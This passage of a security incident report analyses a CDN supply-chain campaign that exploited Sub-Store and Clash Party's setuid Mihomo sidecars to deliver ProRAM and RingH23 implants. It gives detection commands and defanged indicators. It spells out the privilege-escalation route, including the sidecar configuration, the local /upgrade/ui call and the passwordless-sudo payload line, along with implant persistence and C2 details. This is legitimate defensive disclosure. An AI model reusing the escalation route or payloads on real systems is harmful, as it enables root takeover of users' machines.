Its task protocol supports screen streaming, mouse and keyboard input, an interactive terminal, and reverse SOCKS proxying. The import table includes remote memory allocation, process-memory writes, and remote-thread creation. These primitives support process injection. No complete injection sequence or victim event was confirmed.

macOS payload: ProRAM

The macOS page downloaded an ARM64 Mach-O file from GET hxxps://d1u70y867zmoi6[.]cloudfront[.]net/helper and started it as $HOME/updated.

The file used the code-signing identifier proram_macos_agent. It had an ad-hoc signature and no Apple Team Identifier. Its configuration pointed to the same WebSocket path as the Windows DLL. The build ID and campaign tag were different.

The implant collects system and user information, creates a persistent installation identity, maintains a command session, downloads and loads feature modules, uploads files, and can remove itself. A feature module is written as a mode-0600 temporary dylib, loaded with dlopen, and unlinked while it remains mapped. A root ProRAM process loads those modules as root; a user-level process loads them as that user.

The recovered ProRAM binary does not install a LaunchAgent or LaunchDaemon. Its LaunchAgent strings belong to the uninstall routine, which removes externally created persistence. The confirmed on-disk state is identity.bin below $HOME/Library/Application Support/updated/instances/<build-id>/. nohup keeps the current process alive after the Sub-Store request ends. It provides no reboot persistence.

macOS root route

The attacker escalates through Clash Party's setuid Mihomo sidecars without exploiting the macOS kernel.

The official Clash Party 2.0.2 macOS package's root post-install script changes mihomo, mihomo-alpha, and mihomo-smart to root-owned setuid executables. The malicious page checks /Applications/Clash Party.app/Contents/Resources/sidecar/mihomo, then starts it with:

  • SKIP_SAFE_PATH_CHECK=1;
  • external-controller: 127.0.0.1:19099;
  • external-ui: /etc/sudoers.d; and
  • external-ui-url: hxxps://66[.]179[.]31[.]11/linux/mac_pwn.zip.

The exact Mihomo build recognises SKIP_SAFE_PATH_CHECK and treats the attacker's absolute path as allowed. POST hxxp://127[.]0[.]0[.]1:19099/upgrade/ui makes the root process download the ZIP, clear the existing contents of /etc/sudoers.d, and extract zzz_pwn. The file contains only:

text
ec2-user ALL=(ALL) NOPASSWD: ALL

The page tests sudo -n true before and after this route. If non-interactive sudo already works, it skips the sidecar route and starts ProRAM through sudo -n sh. If the local username is ec2-user, the new rule makes the second test pass and ProRAM starts as root. This username is the default administrator account on EC2 Mac instances. On a Mac with another username, the root process can still clear and rewrite /etc/sudoers.d. The new rule does not authorise that user, so ProRAM starts at user level.

The page leaves the root Mihomo controller running. The exploit bypasses Clash Party's legitimate privileged helper and LaunchDaemon. Attribute those package components to ProRAM persistence only when separate evidence supports it.

/linux/mp.html requires macOS tools and downloads the ARM64 Mach-O helper. A Linux browser profile also received this route, confirming unreliable operating-system selection upstream.

ProRAM command and control

Both ProRAM samples embed the same primary transport:

text
wss://clash-verge-upgrade[.]com/edge-af6032129bd933a9/agents/stream

The implant completes an HTTP Upgrade on the WSS path, then exchanges binary MessagePack frames. hello, hello_ack, and enrollment_status establish the agent; ping and pong maintain the connection; task_ack, task_progress, task_result, and task_cancel_ack report task state; and session_data, session_event, and session_closed carry interactive-session traffic. The Windows DLL identifies the two WebSocket implementations as PRO_RAM C NoCRT Agent/0.1 and PRO_RAM C NoCRT Agent/0.2.

The Windows DLL also contains this fallback configuration:

text
dns://d[.]clash-verge-upgrade[.]com/proram?http=hxxps://clash-verge-upgrade[.]com

It defines a DNS transport rooted at d[.]clash-verge-upgrade[.]com and an HTTPS base at hxxps://clash-verge-upgrade[.]com. The sample does not expose enough of the DNS transport implementation to name the record type or on-wire encoding. This DNS configuration appears only in the Windows sample; both samples contain the WSS transport.

C2 origin infrastructure

wss://clash-verge-upgrade[.]com/edge-af6032129bd933a9/agents/stream is proxied by Cloudflare. GET hxxp://20[.]187[.]77[.]65/ returns an HTTP 301 redirect to hxxps://clash-verge-upgrade[.]com/. A direct TLS connection to 20[.]187[.]77[.]65:443 presents a Let's Encrypt certificate for clash-verge-upgrade[.]com and www[.]clash-verge-upgrade[.]com. The redirect and certificate bind that address to the C2 hostname's origin infrastructure; they do not show that every path is available over direct-IP HTTP.

Censys associated 435ggtrgbewrtw[.]duckdns[.]org with the same address at 09:48 UTC on September 5. The hostname still resolved to 20[.]187[.]77[.]65 at 12:40 UTC. Microsoft service-tag data places the address in Azure's East Asia region in Hong Kong. This identifies the hosting location only. Block the exact IP and hostnames; blocking Azure or DuckDNS wholesale would create collateral damage.

Linux payload: attempted RingH23 Rinit installation

The Linux branch used two recovered components:

ComponentLocationSHA-256Description
Landing pagehxxps://66[.]179[.]31[.]11/linux/lp.html6cf0440955bed6b1eab4d2861dcebbe9b22f5ff98c13c2b871cda836ccff0c075,180-byte Sub-Store exploit and privilege-escalation page; last modified at 22:53 UTC on September 4
Rinithxxp://18[.]136[.]197[.]129/init63230d8c86b7b578ef2f5c7c30f85d5fede1fd8b803857092d58aa4bd70e9d2122,057,144-byte statically linked Linux/amd64 Go ELF; module name Rinit

The page attacks the same Sub-Store Script Operator route as the Windows and macOS landings. On Linux it looks for the Clash Party sidecar at /opt/clash-party/resources/sidecar/mihomo. Clash Party's Linux packaging makes that binary root-owned and setuid. The page starts it with a configuration that sets /etc/sudoers.d as the external UI directory and points the UI updater at linux_pwn.zip, then calls the local /upgrade/ui endpoint.

The accompanying linux_pwn.zip is 394 bytes with SHA-256 c7ffdebdece86b28b191ba278084bc671838a7db2417ab0fdd5faefcd8e7ae14. It contains zzz_admin, zzz_sudo, and zzz_wheel, each granting passwordless sudo to the corresponding Unix group. A successful UI update lets the page run the Rinit installer through sudo -n sh.

The Rinit command downloads the ELF to /root/init and starts it in install mode with group prorat, Nginx installation disabled, and a session value embedded in the page. The session value is redacted.

Rinit is a root-level downloader and installer in the RingH23 download_init lineage. Static analysis shows that it:

  • creates or converts the bin account to UID and GID 0 with /bin/bash;
  • enables SSH password authentication and restarts SSH;
  • copies a setuid root shell to /var/adm/<client-id>/suid/bash;
  • writes a downloaded library to /etc/ld.so.preload;
  • installs a secondary ring04h_office_bin agent, a udev rule, and systemd persistence;
  • can install an Nginx module and an additional edge-node package;
  • disables or weakens SELinux, clears wtmp and shell history, and removes installation traces.

The installer verifies its session with GET hxxps://service[.]mynamer[.]eu/api/session/verify and an X-Session header, requests its group through GET hxxps://service[.]mynamer[.]eu/api/client_group/<key>, and registers through GET hxxps://service[.]mynamer[.]eu/api/register/<machine-id>. The verification, group, and registration routines use the same static GET method assignment. Its custom client disables TLS certificate verification. The Linux landing supplies the root execution path plus the session and prorat group arguments that were missing from the standalone sample.

Rinit also builds hxxp://edge-node[.]mynamer[.]eu/edge-node/374/edge-node-linux-amd64-plus-v<version>.zip and hxxp://edge-node[.]mynamer[.]eu/edge-node/374.30/edge-node-linux-amd64-plus-v<version>.zip. The edge-node archive was unavailable, so its contents and final behaviour remain unverified.

linux_pwn.zip contains the sudoers payload. Rinit separately attempts to download a version-matched GoEdge edge-node archive. That child archive remains unavailable, so its contents are unverified.

The upstream CDN response that selects lp.html remains unavailable. The landing page, Sub-Store exploit, privilege-escalation path, and Rinit payload are established. The selector that routed Linux visitors to this branch remains unknown.

The Linux branch uses Rinit. DarkSword appears only in the iOS branch.

Attribution: Funnull, RingH23, and ProRAM

Censys linked bootcdn[.]net, bootcss[.]com, staticfile[.]net, and staticfile[.]org to the same Cloudflare account used by Polyfill.io after Funnull acquired it. XLab attributes poisoning involving BootCDN, BootCSS, and Staticfile, as well as the earlier Polyfill.io campaign, to Funnull. Preserved responses confirm malicious delivery through BootCSS and BootCDN; reconstruction confirms the reported Staticfile samples.

The Linux ELF is a high-confidence match for XLab's RingH23 `download_init` lineage. It shares the root-only installation flow, session verification and registration endpoints, /var/adm/<hash> layout, udev and LD_PRELOAD persistence, libutilkeybd.so, ring04h_office_bin, and distinctive cleanup markers. Its build and controller differ from XLab's reference samples, consistent with a newer or separately configured variant.

The Funnull attribution is assessed at medium-high confidence and draws partly on XLab's broader code and infrastructure analysis. The new controller contains no unique Funnull marker. Windows and macOS delivered the separate ProRAM payload family. XLab documented MacCMS update poisoning as another infection path in the broader Funnull and RingH23 operation; this incident contains no MacCMS component.

Community corroboration

Two Linux.do threads appeared the next day. One user reported the exact local Sub-Store route, the staged dl.exe, and both files from the sideload bundle. Another attached endpoint telemetry that associated a Sparkle 6.0.11.3 process with the exact Windows download stage. The security product blocked that action.

Those victim reports corroborated the chain and added several hunting leads. The Sparkle alert shows that one Sparkle 6.0.11.3 installation exposed a compatible path and reached the malicious command stage. The complete affected-version range remains unknown, and the report contains no evidence of malware in an official Sparkle package.

The warning then spread to NodeLoc and Locdd, where users reposted the localhost chain for the Chinese proxy community. Those threads document the warning's reach and contain no additional payload sample. Exposure still requires an affected Sub-Store backend that the malicious page can reach.

Static analysis confirmed the Windows hunting strings reported in the threads:

  • Global\ProRAM-Agent-* is the implant's mutex pattern. The suffix is generated at run time.
  • PRO_RAM C NoCRT Agent/0.1 is passed to WinHttpOpen.
  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ProRAMAgent is the default persistence value. An operator can choose another value name.
  • %LOCALAPPDATA%\ProRAM\instances\<installation-id>\identity.bin is the default identity path. A second branch uses %ProgramData%.
  • .proram-upload-<transfer-id>.part is created by the upload handler.

A second User-Agent appears in the WebSocket Upgrade path:

text
PRO_RAM C NoCRT Agent/0.2

The implant adds it to a manually constructed WebSocket Upgrade request.

Evidence limits

The Windows DLL handles browser_collector as a plugin name in its task parser. No supporting plugin, browser database path, or credential-extraction routine was recovered. The operator could obtain credentials through remote commands or an additional module. Dedicated browser-stealing capability remains unproven for this sample.

The recovered chain bypassed proxy subscriptions. The malicious page supplied its own source object and Script Operator directly to the preview API. Defenders should investigate browser activity and the browser-to-localhost boundary.

SpeedyBee's role

BootCSS supplied the malware bytes through the dependency loaded by SpeedyBee. The preserved SpeedyBee HTML contained no malware. This confirms third-party supply-chain delivery through the BootCSS URL. The exact compromise point inside BootCSS remains unknown.

The available evidence cannot establish whether SpeedyBee's origin, accounts, or deployment systems were compromised. Resolving that question requires SpeedyBee's BigCommerce administration history, theme changes, installed applications, API tokens, and deployment logs.

CVE and disclosure status

The complete unauthenticated RCE chain was unpatched and under active exploitation when I reported it on September 3. It was a Sub-Store zero-day exploited in the wild. The zero-day window ended when Sub-Store 2.38.0 blocked the browser-origin attack path on September 4.

No CVE or GHSA had been assigned as of September 5. CVE assignment is separate from zero-day status. The separate DarkSword branch uses assigned CVEs, including vulnerabilities that Google reports were exploited as zero-days.

Disclosure timeline

The vulnerability was privately reported while the exploit was active in the wild. All times below are AEST.

  • September 3, 20:16: I sent the Sub-Store maintainer a formal advisory that described the unauthenticated Script Operator chain, active exploitation, affected versions, impact, and remediation.
  • September 3, 20:28: The maintainer called my approach disrespectful and asked me to learn how the project worked before reporting it.
  • September 3, 23:07–23:10: I explained that users were being attacked, that the priority was containment, and that I would notify CERT if the project did not address it.
  • September 3, 23:16: The maintainer said the risk reports were irrelevant, said the issues did not exist or were based on unreasonable assumptions, said I would be blocked, and directed me to open a public issue.
  • September 4, 00:01: I opened Sub-Store issue #634 with the technical report, affected range, and reproducible proof of concept.
  • September 4, 00:15: The issue was initially closed with deployment guidance instead of a code change.
  • September 4, 01:32–01:37: I gave the concrete remediation: restrict cross-origin browser access and gate Script Operator behind authentication. The issue was reopened.
  • September 4, 15:28–15:29: The CORS mitigation was committed and released as Sub-Store 2.38.0.
  • September 5: Users had a fix release and a public issue. The repository still had no official GHSA or project security advisory for the in-the-wild RCE.

The private advisory did not result in remediation. The project changed course after the full technical details and proof were published in issue #634. Version 2.38.0 blocked the browser-origin path used by this campaign. The privileged API remains unauthenticated.

How to check a Windows system

Do not visit the attacker infrastructure or run a public proof of concept to see whether you are vulnerable.

Start with these indicators:

  • 360speedld.exe running from an unexpected directory under %LOCALAPPDATA%\Microsoft.
  • An adjacent somkernl.dll.
  • %LOCALAPPDATA%\Microsoft\eNkge3e6\.
  • %TEMP%\dl.exe near the suspected event time.
  • A mutex that starts with Global\ProRAM-Agent-.
  • A current-user Run value named ProRAMAgent.
  • identity.bin below a ProRAM\instances directory.
  • Connections that use either ProRAM User-Agent or the C2 indicators below.

These PowerShell checks are read-only:

powershell
Get-CimInstance Win32_Process |
  Where-Object { $_.Name -in @('360speedld.exe', 'dl.exe') } |
  Select-Object Name, ProcessId, ExecutablePath, CommandLine

Get-ChildItem -LiteralPath "$env:LOCALAPPDATA\Microsoft" `
  -Filter somkernl.dll -File -Recurse -ErrorAction SilentlyContinue |
  Select-Object FullName, Length, CreationTimeUtc, LastWriteTimeUtc

Get-ItemProperty -LiteralPath `
  'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run'

@(
  "$env:LOCALAPPDATA\ProRAM\instances",
  "$env:ProgramData\ProRAM\instances"
) | ForEach-Object {
  if (Test-Path -LiteralPath $_) {
    Get-ChildItem -LiteralPath $_ -Filter identity.bin -File -Recurse
  }
}

Treat 360speedld.exe, SoftupNotify.exe, and %TEMP%\dl.exe as contextual indicators. Use their full path, adjacent files, hashes, parent process, timestamp, and network activity.

How to check a Mac

Look for $HOME/updated or /var/root/updated, the ProRAM identity directory, /etc/sudoers.d/zzz_pwn, the three setuid Clash Party sidecars, a detached Mihomo on port 19099, and Sub-Store or Clash Party process ancestry. The recovered ProRAM build creates no LaunchAgent.

These checks are read-only. Commands using sudo can ask for an administrator password:

bash
ps -axo pid,ppid,user,command | grep -E '[p]roram_macos_agent|/updated([[:space:]]|$)'

if [ -e "$HOME/updated" ]; then
  ls -lT "$HOME/updated"
  shasum -a 256 "$HOME/updated"
  codesign -dv --verbose=4 "$HOME/updated"
fi

find "$HOME/Library/Application Support/updated/instances" \
  -name identity.bin -type f -ls 2>/dev/null

stat -f '%Sp %Su:%Sg %N' \
  "/Applications/Clash Party.app/Contents/Resources/sidecar/mihomo"* \
  2>/dev/null

sudo find /etc/sudoers.d -maxdepth 1 -type f -print
sudo find "/var/root/Library/Application Support/updated/instances" \
  -name identity.bin -type f -ls 2>/dev/null
sudo visudo -c

The malicious updater clears /etc/sudoers.d before writing zzz_pwn. Removing that file does not restore deleted rules. Compare the directory with a known-good backup or configuration baseline. Do not edit a sudoers file with a normal text editor; preserve the evidence and use visudo.

How to check an iPhone

There is no useful end-user file search for either iOS chain. Both run code inside system processes and remove diagnostic evidence. Check DNS, secure web gateway, MDM, VPN, and router logs for the URLs below. The initial CDN or route-selector request proves exposure. Later exploit-stage requests establish progression.

For Coruna, a request to hxxps://www[.]amazonawsapirds[.]com/496041705bdc90ceee1b4ea254b208261e89075b.html?<random> followed by one of the hashed .js exploit modules shows chain selection. A request for hxxps://www[.]amazonawsapirds[.]com/4c9b71a2c0ec188722c91a216194e7034e742058.min.js?<random> and a device-specific .min.js package shows progression into the binary exploit stages. A subsequent request for one of the ten PLASMAGRID child packages shows that the chain reached its final payload selection.

After that point, the recovered manager queries hxxp://ip-api[.]com/json and searches generated HTTPS hosts for /cache_storage/release-docs.html, /api/user/query, and /api/user/avatar/put. The paths plus an iPhone process are useful hunting signals. ip-api.com is a legitimate geolocation service that the malware abuses for victim geolocation.

For DarkSword, requests to xncb79[.]cc followed by odsj13[.]cc from a device running iOS 18.4 through 18.7.2 show progression from exploitation to command-and-control traffic.

If either sequence appears, disconnect the iPhone from networks, record the available timestamps and logs, restart it, and install the latest iOS update before reconnecting. Do not treat a restart alone as remediation. It cannot undo data already sent to the operator, and it does not replace patching the exploited vulnerabilities.

If compromise is confirmed, treat accessible wallet seeds, private keys, account sessions, saved passwords, and recovery codes as exposed. Rotate them from a separate clean device. Move cryptocurrency assets to keys generated on a clean device; changing an app password does not replace a stolen seed phrase. Erase the iPhone after preserving evidence and set it up clean instead of restoring an untrusted device state.

How to check a Linux system

The landing uses /tmp/pwn.yaml, /tmp/pwn-home, and /tmp/pwn_core.log while it tries to turn the setuid Clash Party sidecar into passwordless sudo. It then saves Rinit as /root/init. Look for those files, unexpected zzz_admin, zzz_sudo, or zzz_wheel files in /etc/sudoers.d, the preload library, UID 0 bin account, setuid shell, udev rule, secondary agent, and systemd service:

bash
getent passwd bin
awk -F: '$3 == 0 {print $1 ":" $3 ":" $6 ":" $7}' /etc/passwd

sudo test -f /etc/ld.so.preload && sudo sed -n '1,20p' /etc/ld.so.preload
sudo find /var/adm -maxdepth 5 -type f \
  \( -name libutilkeybd.so -o -name ring04h_office_bin -o -path '*/suid/bash' \) \
  -ls 2>/dev/null

sudo find /etc/udev/rules.d -maxdepth 1 -type f -name '99-*.rules' -ls
sudo find /etc/sudoers.d -maxdepth 1 -type f \
  \( -name zzz_admin -o -name zzz_sudo -o -name zzz_wheel \) -ls
sudo ls -la /root/init /tmp/pwn.yaml /tmp/pwn_core.log 2>/dev/null
sudo systemctl status 001-task.service --no-pager
sudo grep -nE '^[[:space:]]*PasswordAuthentication' /etc/ssh/sshd_config

Preserve unfamiliar /etc/ld.so.preload entries and rules until they are identified; legitimate security and monitoring software can use the same mechanisms. If the exact Rinit hash, controller traffic, root account change, or matching installation tree is present, isolate the host and preserve a disk image and logs. Rebuild it from known-good media. This installer changes authentication, loads code into system processes, downloads additional components that were not recovered in this analysis, and clears evidence. Deleting init does not reverse those changes.

Incident response

If you only had an affected version and no malware indicator, update Sub-Store, keep it on loopback, disable it when unused, and run a full endpoint scan.

If you find the implant hash, a running implant, the sideload pair in an unexpected directory, or a confirmed C2 connection, disconnect the system from the network. Do not use it to sign in to important accounts. Record the paths, hashes, processes, alerts, and timestamps before deleting anything.

Treat deletion of dl.exe or somkernl.dll as incomplete remediation. The implant can run commands, upload files, change persistence, and load more code. A missing original file does not prove that the system is clean.

For a confirmed infection, the safest recovery is a clean operating-system installation or a restore from a known-good backup that predates the exposure. Reinstall software from official sources. From a separate clean device, revoke active sessions and rotate passwords, API tokens, SSH keys, source-control credentials, cloud credentials, and recovery methods that were available on the affected computer.

A confirmed infection gives the operator sufficient access to justify credential rotation from a clean device.

Indicators for blocking and hunting

All network values below are defanged. The Staticfile hashes were reported by another researcher and reproduced from clean library bytes plus the BootCSS loader.

TypeIndicator
BootCSS pathhxxps://cdn[.]bootcss[.]com/jquery/3.3.1/jquery.min.js
BootCDN pathhxxps://cdn[.]bootcdn[.]net/ajax/libs/tldjs/2.3.1/tld.min.js
Poisoned BootCDN JavaScript SHA-2568f167ff22812d7df293116bfa1a1c33e5d07ccd02e4d9e806d79abe66b7327fc
Staticfile Lovefield pathhxxps://cdn[.]staticfile[.]org/lovefield/2.1.12/lovefield.min.js
Staticfile SweetAlert2 pathhxxps://cdn[.]staticfile[.]org/limonte-sweetalert2/9.17.2/sweetalert2.all.min.js
Poisoned Lovefield 2.1.12 SHA-256ab8f5c6709a64cc2badba38828ef0be2b7a23f51686fe700f24504c49b753aef
Poisoned SweetAlert2 9.17.2 SHA-2563973602a96e09e2080ac4f6a17225b6881f260e508d0f7a325d985a59dd8b750
iOS first-stage URLhxxps://cdn[.]data-1283[.]com/app.vue.js
iOS redirect scripthxxps://www[.]amazonawsapirds[.]com/in-static.js
iOS route selectorhxxps://www[.]amazonawsapirds[.]com/start-view.html?<random>
DarkSword routehxxps://www[.]amazonawsapirds[.]com/98jgbibyeep2qfkvcq.html?<random>
Coruna routehxxps://www[.]amazonawsapirds[.]com/496041705bdc90ceee1b4ea254b208261e89075b.html?<random>
Coruna route SHA-256396309c6770d009f9642e5b6d09528a18cecea59a873b8fb0fbf5f7cfc8e0579
Coruna resource cookie8aeadbb23da0657e
Coruna WebContent R/W moduleshxxps://www[.]amazonawsapirds[.]com/c2dc9ff745629af5fcd829e5077170f59ac38826.js, hxxps://www[.]amazonawsapirds[.]com/0e0f11c859363b87e7a134df85502ca05a7041a2.js, hxxps://www[.]amazonawsapirds[.]com/303ea491b92e7d4d0adee18ddf5a5ab5c2ccd1de.js, hxxps://www[.]amazonawsapirds[.]com/04d7afd7f79ad0131b7b1d0be121f3380a541843.js, hxxps://www[.]amazonawsapirds[.]com/b99744096a325e6726856364a6a05eb7b5727f20.js
Coruna PAC moduleshxxps://www[.]amazonawsapirds[.]com/03fdc4d41b99943685ce6da11b178573717d0bc8.js, hxxps://www[.]amazonawsapirds[.]com/2e621e2dc5051b2596fe36a21804bb8f2c7e698f.js, hxxps://www[.]amazonawsapirds[.]com/aa3f03606a5109fc83683b9fe30a0ff1a7d43249.js, hxxps://www[.]amazonawsapirds[.]com/68c279aa488ab8da27c5925e08d1170693b92729.js, hxxps://www[.]amazonawsapirds[.]com/e5a266f2e46e7f8fc6fe64da918d49224a2f8297.js, hxxps://www[.]amazonawsapirds[.]com/58a69b9b9c205320ef3194041ee92aeee4f482b8.js
Coruna binary-stage loadershxxps://www[.]amazonawsapirds[.]com/f98612b607eacf477caedf1c491e084d2d0f3030.js, hxxps://www[.]amazonawsapirds[.]com/2f870ab288a59e71f449735fa126e71d38825d5e.js
Coruna package manifesthxxps://www[.]amazonawsapirds[.]com/4c9b71a2c0ec188722c91a216194e7034e742058.min.js?<random>
Coruna encrypted manifest SHA-2566fa04c0790b169831ec807538d85a9d1141eeb0d76538f3d851b41342656cdc3
PLASMAGRID arm64 SHA-256170515dc93120111760cc8c9e1deefb9a81939d123749d15f13ad5eca55042da
PLASMAGRID arm64e SHA-256aa3934340337aaceee150fd8e2acaa5b5da71a59161585594e53d0477d9d87c6
PLASMAGRID channelc449791b7dd3b7859756a0311dfe8868
PLASMAGRID deployment seed and path0fdc6d82f2a7a09c79f15a03f8c98f18, /cache_storage/release-docs.html
PLASMAGRID reporting seed and paths68ad45c5f822d346d27fcc28fba5ce88, /api/user/query, /api/user/avatar/put
PLASMAGRID local controls/tmp/pl.sp.exec.guard.lock, /tmp/upgrade.dylib, /tmp/relaunch, /tmp/uninstall, /tmp/stop
DarkSword group pagehxxps://xncb79[.]cc/assets/js/group.html
DarkSword loaderhxxps://xncb79[.]cc/assets/js/rce_loader.js?<cache-buster>
DarkSword JSC moduleshxxps://xncb79[.]cc/assets/js/rce_module.js?<cache-buster>, hxxps://xncb79[.]cc/assets/js/rce_module_18.6.js?<cache-buster>, hxxps://xncb79[.]cc/assets/js/rce_module_18.7.js?<cache-buster>
DarkSword JSC workershxxps://xncb79[.]cc/assets/js/rce_worker_18.4.js?<cache-buster>, hxxps://xncb79[.]cc/assets/js/rce_worker_18.6.js?<cache-buster>, hxxps://xncb79[.]cc/assets/js/rce_worker_18.7.js?<cache-buster>
DarkSword privilege stageshxxps://xncb79[.]cc/sbx0_main_18.4.js?_r=1&_b=0, hxxps://xncb79[.]cc/sbx1_main.js?_r=1&_b=0, hxxps://xncb79[.]cc/pe_worker.js?_r=1&_b=0
DarkSword C2 and exfiltrationhxxps://odsj13[.]cc/beacon, hxxps://odsj13[.]cc/result, hxxps://odsj13[.]cc/event, hxxps://odsj13[.]cc/a, hxxps://odsj13[.]cc/u, hxxps://odsj13[.]cc/nb, hxxps://odsj13[.]cc/p, hxxps://odsj13[.]cc/war
DarkSword sbx0_main_18.4.js SHA-256a5ca944459c08038bfabf7ddbfc6ec2505ef0dc22b987569ed295f7378f30d59
DarkSword sbx1_main.js SHA-256c1b05dd8e7d060d2a40a859211528e90e62d0dc378f8af831933fe59122490dd
DarkSword pe_worker.js SHA-256e02855a0c4e27b793644eaf6446da9596ed8d2d3c37b580beb111738010de441
Mobile rotator URLhxxps://www[.]cdnboostcache[.]com/sdk.html?s=bcdn
Fuliaga rotator routeshxxps://a3c3dqnk[.]fuliaga[.]com/redirect?from=mseose&t=u, hxxps://a3c3dqnk[.]fuliaga[.]com/redirect?from=gdgjcse&t=u, hxxps://a3c3dqnk[.]fuliaga[.]com/redirect?from=idjc&t=u
Lahaiya rotator routeshxxps://h5xk8i48[.]lahaiya[.]com/redirect?from=wopb&t=u, hxxps://h5xk8i48[.]lahaiya[.]com/redirect?from=nwose&t=u
Rotator child scriptshxxps://a3c3dqnk[.]fuliaga[.]com/js/cnzztracking.js, hxxps://h5xk8i48[.]lahaiya[.]com/js/cnzztracking.js
Rotator child script SHA-256e8e4616cf36614a1dc9268fef7a6713f363ada6cb976729b519e694c57561170
Rotator destinationhxxps://97785[.]mpllorx[.]com
Rotator destinationhxxps://5v10[.]xlrc1n4m4[.]cc
Rotator destinationshxxps://www[.]688bcr[.]com/home.html?ax=1, hxxps://www[.]ptk765[.]com/home.html?ax=1
Rotator destinationshxxps://11166[.]lmdpoft[.]com, hxxps://6v01[.]85tsqceen[.]cc, hxxps://www[.]ijkvqmc[.]cc:8853
Rotator-generated URLhxxps://<random>[.]l6hj89dlf[.]cc/#/category/default/1
Rotator click-throughshxxps://6661[.]vh7h[.]com/web/index.html?jkzza=1, hxxps://6661[.]mk5j[.]com/web/index.html?jkzz=1
Rotator SPA infrastructurehxxps://api1[.]hdgpjs[.]cn/, hxxps://ggjs[.]nhgucj[.]cn/gm/
Windows landinghxxps://66[.]179[.]31[.]11/linux/wp.html
macOS landinghxxps://66[.]179[.]31[.]11/linux/mp.html
macOS landing SHA-256e9af260b312ac1e104a3325d61899375d922c4f818ca9b132d2057e636a218b5
Windows payloadhxxps://66[.]179[.]31[.]11/sideload.exe
macOS payloadhxxps://d1u70y867zmoi6[.]cloudfront[.]net/helper
macOS privilege ZIPhxxps://66[.]179[.]31[.]11/linux/mac_pwn.zip
macOS privilege ZIP SHA-256a4a3df335a205d7e44405a5abba7439f40316746888b3f78b757d25cce9efe67
macOS sudoers payload/etc/sudoers.d/zzz_pwn, SHA-256 663e7207ee024402a8caaff79af41e797862368dab8d243cdbc59dd7e617fa81
ProRAM macOS identity$HOME/Library/Application Support/updated/instances/<build-id>/identity.bin
ProRAM macOS transient module/tmp/*_mod.*/module.dylib
Local Sub-Store exploithxxp://127[.]0[.]0[.]1:38324/api/preview/sub
Local sidecar versionhxxp://127[.]0[.]0[.]1:19099/version
Local sidecar UI updatehxxp://127[.]0[.]0[.]1:19099/upgrade/ui
ProRAM C2 hostnameclash-verge-upgrade[.]com
ProRAM primary WSS transportwss://clash-verge-upgrade[.]com/edge-af6032129bd933a9/agents/stream
ProRAM DNS/HTTPS fallback configurationdns://d[.]clash-verge-upgrade[.]com/proram?http=hxxps://clash-verge-upgrade[.]com
ProRAM C2 originhxxps://20[.]187[.]77[.]65:443/ and hxxp://20[.]187[.]77[.]65/
ProRAM origin-discovery hostname435ggtrgbewrtw[.]duckdns[.]org (active at 12:40 UTC on September 5)
ProRAM origin TLS SHA-256f0de85fc8ca45c16e53c56e697f80714eb41c1cca307815ef0412227e46be4f
ProRAM Windows stager SHA-25643d5a6dcf75097d1d3e7704fa5d7fbb084135ebec64382e9f547a1a6a145caa7
ProRAM Windows DLL SHA-256ba35186c3b0b69f7f897b1e180f22f6822e52ab571bea53b15dc0e43cf86db2f
ProRAM macOS implant SHA-2567a8aac687ea67207c19e1c74edb73e8a1a341a0fae0b75f2b434054922763f99
MutexGlobal\ProRAM-Agent-*
User-AgentPRO_RAM C NoCRT Agent/0.1
User-AgentPRO_RAM C NoCRT Agent/0.2
Run valueHKCU\Software\Microsoft\Windows\CurrentVersion\Run\ProRAMAgent
RingH23 Rinit URLhxxp://18[.]136[.]197[.]129/init
RingH23 Rinit SHA-25663230d8c86b7b578ef2f5c7c30f85d5fede1fd8b803857092d58aa4bd70e9d21
Linux landinghxxps://66[.]179[.]31[.]11/linux/lp.html
Linux landing SHA-2566cf0440955bed6b1eab4d2861dcebbe9b22f5ff98c13c2b871cda836ccff0c07
Linux privilege ZIPhxxps://66[.]179[.]31[.]11/linux/linux_pwn.zip
Linux privilege ZIP SHA-256c7ffdebdece86b28b191ba278084bc671838a7db2417ab0fdd5faefcd8e7ae14
RingH23 session verificationhxxps://service[.]mynamer[.]eu/api/session/verify
RingH23 client grouphxxps://service[.]mynamer[.]eu/api/client_group/<key>
RingH23 registrationGET hxxps://service[.]mynamer[.]eu/api/register/<machine-id>
RingH23 edge-node templatehxxp://edge-node[.]mynamer[.]eu/edge-node/374/edge-node-linux-amd64-plus-v<version>.zip
RingH23 edge-node templatehxxp://edge-node[.]mynamer[.]eu/edge-node/374.30/edge-node-linux-amd64-plus-v<version>.zip
RingH23 Rinit persistence/etc/ld.so.preload, /etc/systemd/system/001-task.service
RingH23 Rinit files/root/init, libutilkeybd.so, ring04h_office_bin, /var/ring04h.sh
Linux privilege artifacts/tmp/pwn.yaml, /tmp/pwn_core.log, /etc/sudoers.d/zzz_{admin,sudo,wheel}

This table contains the high-signal subset. Avoid blocking shared Cloudflare, CloudFront, or BootCSS edge address ranges; they are not actor-specific.

Censys linked four active CDN domains to the same Cloudflare account used by the Funnull-owned Polyfill.io service. Block the apex domains and their subdomains at DNS filters, secure web gateways, and endpoint web controls unless there is a documented business dependency:

  • bootcdn[.]net
  • bootcss[.]com
  • staticfile[.]net
  • staticfile[.]org

Preserved responses confirm the same loader on cdn[.]bootcss[.]com and cdn[.]bootcdn[.]net. An independent report and exact sample reconstruction tie cdn[.]staticfile[.]org to the same chain. staticfile[.]net is included as a network-level precaution; no incident-specific delivery through that domain has been observed.

Block the exact domain suffixes. Blocking shared Cloudflare or CDN edge addresses would create collateral damage. A domain block can break sites that still load scripts from these services. Website owners should remove those references, self-host reviewed dependencies, pin versions and hashes, and use Subresource Integrity when an external script is necessary.

What developers need to fix

Applications that bundle Sub-Store must update the embedded backend and must not restore an affected version during reinstall or upgrade.

The CORS restriction blocks the observed browser path. The API remains unauthenticated.

Clash Party's Linux and macOS packages should stop marking the full mihomo proxy core setuid root. Operations that genuinely need privilege should go through a small authenticated helper with an allowlist. A privileged process must not accept an environment switch that disables path checks, download an arbitrary ZIP, clear a caller-selected directory, and extract there. The UI updater should require an application secret and keep every extracted file inside a fixed application-owned UI directory after resolving symlinks and path traversal.

Privileged Sub-Store routes need a random per-installation or per-session authentication token. The server should check it before parsing or processing the request body. The backend should stay on loopback by default, require authentication before any non-loopback binding, permit only the exact application frontend origin, and isolate Script Operator code from direct Node.js capabilities.

